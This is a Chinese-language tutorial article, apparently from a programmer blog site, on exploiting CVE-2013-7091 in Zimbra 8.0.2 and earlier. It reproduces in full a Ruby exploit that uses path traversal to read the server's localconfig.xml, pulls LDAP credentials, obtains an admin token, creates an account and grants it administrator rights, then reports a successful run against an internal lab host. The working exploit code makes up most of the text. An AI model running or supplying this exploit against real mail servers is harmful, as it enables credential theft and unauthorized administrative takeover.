欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权

程序员文章站 2022-03-05 12:56:59
...

一、环境安装

首先完成在ubuntu 12.04LTS环境下zimbra 8.0.2的安装及配置。

本机DNS解析:

利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权

 启动安装完毕之后的zimbra:利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权

进入管理员界面https://mail.server2.com:7071创建两个普通帐户收发邮件测试zimbra可以正常运行:

利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权

二、创建漏洞脚本

漏洞脚本使用ruby编译,并且在windows环境下运行,共有两个rb文件。

ultils.rb:

require 'net/https'

class Utils

def request_soap_admin(*api_call*)

  @request=api_call

  

  soap_client = *Net*::*HTTP*.new( $host, 7071 )

  soap_client.use_ssl = true

  soap_client.verify_mode = *OpenSSL*::*SSL*::VERIFY_NONE

  

  soap_path = "/service/admin/soap"

  

  soap_data = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"><authToken>#{$auth_key}</authToken></context></soap:Header><soap:Body>#{@request}</soap:Body></soap:Envelope>"

  

  response = soap_client.post(soap_path, soap_data, { "Content-Type" => "application/soap+xml; charset=utf-8; action=\"urn:zimbraAdmin\"" } )

  

  if response.body.match(/Error/)

​     error_res = response.body.match(/<soap:Text>(.*?)<\/soap:Text>/ui)[1]

​     puts "[-] Response Error"

​     puts "    [*] #{error_res}"

​     false

  else

​     return response.body

  end    

  

end

end

run.rb:

require 'net/https'

require 'getoptlong'

require './ultils.rb'

data = nil

def exploit_begin()

puts "[+] Looking if host is vuln..."

http = *Net*::*HTTP*.new( $host, 7071 )

http.use_ssl = true

http.verify_mode = *OpenSSL*::*SSL*::VERIFY_NONE

req = *Net*::*HTTP*::*Get*.new( "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00", { "Accept-Encoding" => "gzip", "User-Agent" => "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" } )

res = http.request( req )  

case res

  when *Net*::HTTPSuccess then  

​    begin

​      if res.header[ 'Content-Encoding' ].eql?( 'gzip' ) then

​        sio = *StringIO*.new( res.body )

​        gz = *Zlib*::*GzipReader*.new( sio )

​    puts "[+] Host is vuln exploiting"

​        resbody = gz.read()

​        

​        part1 = resbody.gsub("\n", ' ').squeeze(' ')

​        part2 = part1.gsub("a[", '').squeeze(' ')

​        ldap_user = part2.match(/name=\\"zimbra_user\\">"; "<value>(.*?)<\/value>/ui)[1]

​        ldap_pass = part2.match(/name=\\"zimbra_ldap_password\\">"; "<value>(.*?)<\/value>/ui)[1]

​        

​        get_auth_token(ldap_user,ldap_pass)

​        

​        else

​        puts "[-] Host is not vulnerable !"

​        return false

  end

  rescue Exception

​     \#puts "[-] Connection Failed !"

​     return false

  end

end

 

end

def get_auth_token(*user*,*pass*)

https = *Net*::*HTTP*.new( $host, 7071 )

path = "/service/admin/soap"

https.use_ssl = true

https.verify_mode = *OpenSSL*::*SSL*::VERIFY_NONE

body = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>

<env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by=\"name\">#{user}</account><password>#{pass}</password></ns1:AuthRequest></env:Body></env:Envelope>"

data = https.post(path, body, { "Content-Type" => "application/soap+xml; charset=utf-8; action=\"urn:zimbraAdmin#AuthRequest\"" } )

$auth_key = data.body.match(/<authToken>(.*)<\/authToken>/iu)[1]

exploit()

end

def exploit()

puts "[+] Obtaining Domain Name"

get_domain_soap_data = "<GetAllDomainsRequest xmlns=\"urn:zimbraAdmin\"></GetAllDomainsRequest>"

get_domain = *Utils*.new.request_soap_admin(get_domain_soap_data)

domain = get_domain.match(/<a n=\"zimbraDomainName\">(.*?)<\/a>/iu)[1]

puts "[+] Creating Account"

create_account_soap_data = "<CreateAccountRequest xmlns=\"urn:zimbraAdmin\"><name>#{$user}@#{domain}</name><password>#{$password}</password></CreateAccountRequest>"

create_account = *Utils*.new.request_soap_admin(create_account_soap_data)

a_id = create_account.match(/account id="(.*)" name="/ui)[1]

puts "[+] Elevating Privileges"

elevate_privs_soap_data = "<ModifyAccountRequest xmlns=\"urn:zimbraAdmin\"><id>#{a_id}</id><a n=\"zimbraIsAdminAccount\">TRUE</a></ModifyAccountRequest>"

elevate_privs = *Utils*.new.request_soap_admin(elevate_privs_soap_data)

puts "[+] Login Credentials"

puts "    [*] Login URL : https://#{domain}:7071/zimbraAdmin/ "           

puts "    [*] Account   : #{$user}@#{domain}"

puts "    [*] Password  : #{$password}"

puts "[+] Successfully Exploited !"

end

def usage

​    print( "

​             -t, --target

​             Host to attack ip or domain

​             -u, --useraccount

​             The user name to be used to create the account, only alfanumeric chars.

​             

​             -p, --password

​                 Password that will be used to create the account,

​                 pass needs to be alfanumeric upercase and lowercase and special chars, minchar(8).

​             -h, --help

​             Print this help message         

​             

​             

"

  )

end

puts ""

puts ""

puts "#########################################################################################"

puts "Zimbra Email Collaboration Server 0day Exploit by rubina119"

puts "#########################################################################################"

puts ""

puts ""

opts = *GetoptLong*.new(

​        [ '--target', '-t', *GetoptLong*::REQUIRED_ARGUMENT ],

​        [ '--useraccount','-u', *GetoptLong*::REQUIRED_ARGUMENT ],

​      [ '--password','-p', *GetoptLong*::REQUIRED_ARGUMENT ],

​      [ '--help','-h', *GetoptLong*::OPTIONAL_ARGUMENT ]

​    )

opts.each do |opt, arg|

  case opt

​        when '--help'

​        usage()

​          when '--target'

​        $host = arg

​        when '--useraccount'

​        $user = arg

​      when '--password'

​        $password = arg

end

end

if $host == nil

usage()

else

exploit_begin()

end

三、漏洞利用

首先在windows下安装ruby环境:

利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权

运行run.rb脚本:

利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权

发现131的这台内网机并没有对外开放7071端口,那换台开放7071端口的内网机试试:

利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权

如上图,在192.168.79.132的zimbra邮件服务器测试成功,创建了一个新用户usr3,密码为qwer1234。由于是在内网测试,在测试之前目标机的7071调试为开放状态,这是漏洞调试成功的前提条件之一!

在服务器的7071端口上登录自己创建的用户,发现已经提权为管理员,下面可以对服务器内部进行一些操作了。
利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权